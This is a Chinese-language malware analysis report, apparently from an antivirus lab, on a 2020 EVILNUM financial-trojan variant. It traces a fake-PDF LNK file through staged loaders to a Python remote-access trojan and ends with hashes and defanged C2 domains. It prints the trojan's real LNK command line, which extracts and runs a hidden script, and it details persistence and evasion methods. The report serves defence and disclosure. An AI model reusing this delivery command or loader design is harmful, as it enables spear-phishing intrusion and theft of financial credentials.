客服熱線
186-8811-5347、186-7086-0265
官方郵箱
contactus@mingting.cn
添加微信
立即線上溝通
客服微信
詳情請咨詢客服
客服熱線
186-8811-5347、186-7086-0265
官方郵箱
contactus@mingting.cn
2020-07-22 來源:安全豹作者:HR
近期金山毒霸安全實驗室監(jiān)控到金融木馬EVILNUM新變種。樣本攜帶的誘餌PDF由英國能源公司first-utility的PDF賬單、銀行卡、駕照圖片組成,如下圖所示。通過誘餌文件內(nèi)容進(jìn)行關(guān)聯(lián),發(fā)現(xiàn)此批樣本創(chuàng)建時間均為2018-02-13 07:29:00,出現(xiàn)時間集中在2020年4月至今,早期版本攻擊類型LNK+JSRAT方式,從5月開始出現(xiàn)LNK+JS+PE+PYTHONRAT的攻擊方式。通過對其JSLoader關(guān)聯(lián)分析,確定其為EVILNUM新變種。

根據(jù)情報,EVILNUM最早可以追溯到2018年。其顯著特征是使用LNK文件進(jìn)行攻擊,末端載荷多采用腳本實現(xiàn),通過JS+外部工具的方式竊取情報,其腳本可能會加載多家惡意軟件即服務(wù)(MaaS)提供商的后門程序以及c#惡意組件,過去其攻擊流程中的C2均采用云盤、社交網(wǎng)站、圖床一類的網(wǎng)站作為信息存儲,此次捕獲的樣本采用了一些比較有迷惑性的域名,如CRM、VOIP等服務(wù)類關(guān)鍵字域名進(jìn)行偽裝。
樣本通過魚叉式電子郵件發(fā)送,其中包含指向云盤上托管的ZIP文件的鏈接,壓縮文件內(nèi)包含LNK攻擊文件,其誘餌文件為金融機構(gòu)開設(shè)新帳戶時需要提供的截圖文件。
Evilnum集團的主要目標(biāo)是金融技術(shù)公司,監(jiān)視并竊取目標(biāo)公司及其客戶的財務(wù)信息。重點竊取金融文檔和憑據(jù):
該樣本目前更新活躍,其Loader和攻擊載荷也在不斷迭代,行文分析樣本為7月最新。樣本偽裝成PDF圖標(biāo),實則為快捷方式LNK文件,運行后通過解析LNK自身攜帶的數(shù)據(jù),釋放出賬單PDF并打開以迷惑用戶,同時釋放出偽裝成java程序的ddpp.exe并創(chuàng)建計劃任務(wù),待計劃任務(wù)啟動ddpp.exe后樣本通過對自身攜帶的部分?jǐn)?shù)據(jù)進(jìn)行解密執(zhí)行后與crm-domain.net通訊,通過云控手段獲取下一步操作,現(xiàn)階段取得得數(shù)據(jù)經(jīng)過解密執(zhí)行后釋放出fplayer.exe該文件偽裝成NVDIA驅(qū)動相關(guān)程序,通過計劃任務(wù)持久化,fplayer.exe經(jīng)過多次解密最終與云端通訊,現(xiàn)階段獲取得數(shù)據(jù)經(jīng)過解密后其行為為內(nèi)存加載exe操作,其加載程序為py2exe打包得python程序,通過對該程序解包、反混淆、反編譯,最終得到其python源碼為遠(yuǎn)控程序。

木馬文件落地部分攻擊流程如上圖所示,木馬實際為偽裝成PDF的LNK文件,攻擊流程采用多段式加載,多種對抗,包含多個云控接口,可根據(jù)云控靈活配置升級,行文將通過四部分進(jìn)行敘述。
C:\Windows\System32\cmd.exe /c path=%windir%\system32&move "VerificationDocuments.pdf.lnk" "%tmp%\1.lnk"&type "%tmp%\1.lnk"|find "END2">"%tmp%\0.js"&wscript "%tmp%\0.js"?
LNK啟動后將自身移動到temp目錄下1.lnk,此后通過標(biāo)記"END2"提取出附加的JS腳本并執(zhí)行。JS腳本運行后,獲取APPDATA路徑,拼湊釋放路徑,如圖1。
圖1
從1.LNK讀取偏移2505-684612位置的PDF文件釋放,并運行,以達(dá)到偽裝效果。如圖2。

圖2
將自身拷貝到%appdata%\Microsoft\Credentials\MediaPlayer\VideoManager\media.js再次運行,通過判斷腳本所在目錄決定是否釋放PE,條件滿足則讀取1.lnk偏移687117-262144之間的數(shù)據(jù)釋放PE文件。并為其創(chuàng)建計劃任務(wù)。如圖3。

圖3
釋放PE后,腳本對LNK、JS、相關(guān)工作目錄進(jìn)行自刪除,至此JS執(zhí)行完畢,LNK階段工作執(zhí)行完畢。
ddpp.exe在當(dāng)前執(zhí)行階段起升級部署作用,在分析時云控代碼執(zhí)行的行為為部署fplayer.exe,其內(nèi)部代碼經(jīng)過充分偽裝,靜態(tài)查看與JAVA進(jìn)程非常接近,內(nèi)部API調(diào)用采用底層調(diào)用方式,對抗API斷點,長時間Sleep對抗沙箱行為檢測。
ddpp啟動后讀取自身偏移0x9526處的數(shù)據(jù),進(jìn)行解密,解密后數(shù)據(jù)如圖4。

圖4
由于其解密方式與下文fplayer.exe中代碼解密方式一致,限于篇幅,故此處暫略過解密過程,下文敘述其解密規(guī)則。解密完成后將代碼按照其配置分段拷貝到堆空間指定位置處,之后對地址進(jìn)行重定位,計算API地址填充修復(fù),最終創(chuàng)建線程執(zhí)行解密后的代碼。如圖5。

圖5
代碼執(zhí)行后,獲取命令行參數(shù),根據(jù)參數(shù)構(gòu)建通訊GET請求。通過GET方式獲取云控數(shù)據(jù)。如圖6。

圖6
通過加載云控邏輯,釋放fplayer.exe到%appdata%\Microsoft\Media Player\Player\下,該程序與ddpp.exe類似偽裝成英偉達(dá)驅(qū)動相關(guān)程序,其實際工作內(nèi)容仍然靠云控下發(fā)。圖7為文件釋放并為其創(chuàng)建計劃任務(wù)啟動。

圖7
至此ddpp.exe云控代碼執(zhí)行完成后退出,fplayer最終承載了工作任務(wù)的加載,ddpp現(xiàn)階段云控下發(fā)功能只是部署升級,整體流程如圖8。

圖8
fplayer.exe與ddpp.exe有諸多相似之處,上文未提及配置信息數(shù)據(jù)結(jié)構(gòu),將在此節(jié)敘述。相比ddpp,fplayer請求接口有變更,參數(shù)更少。其作用為整個攻擊鏈條的末端載體。fplayer啟動后讀取自身0x9b偏移處信息,解密并將其按配置向堆空間中部署,如圖9。

圖9
其配置頭部結(jié)構(gòu)如下:
struct EncryptInfo
{
byte xorKeyLength;
char keyTable[xorKeyLength];
DWORD dataSize;
char dataBegin[dataSize];
}其后續(xù)代碼根據(jù)key表對data進(jìn)行循環(huán)異或解密數(shù)據(jù),程序中字符串相關(guān)解密操作也遵循此方式。數(shù)據(jù)起始位置記錄著相關(guān)代碼和函數(shù)信息,結(jié)構(gòu)如下:

struct DataInfo
{
byte unKnown;
DWORD codeImageBase;
DWORD unKnown1;
DWORD codeEpOffset;
DWORD codeTableCount;
DWORD codeInfoOffset1;
DWORD codeInfoOffset2;
...
}轉(zhuǎn)到codeInfo結(jié)構(gòu),其配置對應(yīng)的是需要內(nèi)存執(zhí)行的代碼信息。如下圖,結(jié)構(gòu)如下:

struct CodeInfo
{
byte index;
DWORD codeCopyOffset
DWORD codeSize;
DWORD unKnown;
char codeBegin[codeSize];
}與ddpp類似在堆中指定位置部署好代碼之后,創(chuàng)建線程執(zhí)行堆代碼。相似過程不在贅述。以上配置結(jié)構(gòu)適用于云端下發(fā)配置信息結(jié)構(gòu)。堆空間代碼執(zhí)行后,獲取命令行參數(shù),構(gòu)建GET請求,獲取最新云端指令。如圖10。

圖10
通過解析云端配置,最終加載內(nèi)存PE,如圖11。該PE為py2exe打包的python程序,其字節(jié)碼進(jìn)行了混淆,對抗反編譯,通過反混淆,最終獲得其攜帶腳本,下文將對py2exe程序展開分析。

圖11
通過dump內(nèi)存獲取其原始加載程序,經(jīng)過分析其為py2exe打包的python程序,通過對其資源處理獲取被打包的pyc腳本,經(jīng)過反混淆處理后,反編譯后如圖12。

圖12
腳本通過zlib和base64處理后進(jìn)一步執(zhí)行,通過進(jìn)一步分析,此處為一python包裝器,其核心功能為解析自身壓縮數(shù)據(jù),最終通過memimporter將main.pyc和其他依賴庫加載在內(nèi)存中執(zhí)行。如圖13、14。

圖13

圖14
至此到達(dá)核心工作流程,通過對memimporter相關(guān)數(shù)據(jù)反混淆、反編譯,最終確定其核心流程為遠(yuǎn)控木馬,木馬與以下地址通訊,獲取指令執(zhí)行。如圖15。

圖15
木馬采用http協(xié)議通訊,具有截屏、命令執(zhí)行、反向SSH Shell、進(jìn)程操作、文件操作、注冊表操作等功能。圖16為遠(yuǎn)控簡要工作流程。

圖16
下表為遠(yuǎn)控包含的部分工具類函數(shù)表,通過函數(shù)名稱,不難看出,遠(yuǎn)控功能豐富,擴展性極強,擁有多種持久化方式和多種命令控制方式。

此EVILNUM變種木馬,攻擊流程采用多段式加載,多層次內(nèi)存裝載PE,包含多個云控接口,通過休眠、混淆、云端指令隨機化等對抗分析查殺,作者精心構(gòu)造了多個loader,甚至最終內(nèi)存加載的py2exe啟動后仍然還是內(nèi)存加載pyc執(zhí)行,可謂是煞費苦心,分析過程中木馬成活躍狀態(tài),不斷有新的C2加入,截止報告完成時間,有多個C2地址注冊時間未超過一個月。其最終攻擊載荷使用python開發(fā),開發(fā)成本低,還會在一定程度上干擾溯源準(zhǔn)確性,從反編譯結(jié)果觀察,部分功能尚未完善,仍在加入新功能。金山毒霸安全實驗室提醒用戶,不要點擊來歷不明的郵件、壓縮包,從而可以降低用戶隱私信息被盜取的風(fēng)險。金山毒霸可以查殺此木馬,當(dāng)殺毒軟件報毒時,切勿輕易點擊放行,若懷疑誤報,可向殺軟工作人員核實后再運行。

FC00819C4CDC8609313041CF345A7DCA
F7673B6855C72B780FDD863D098DA693
07717219943E911AC4CFB8E485A99CFB
ECDD7454EAE355012DFED03377D6D945
hxxp://crm-domain[.]net
hxxp://leads-management[.]net
hxxp://telecomwl[.]com
hxxp://voipasst[.]com
https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/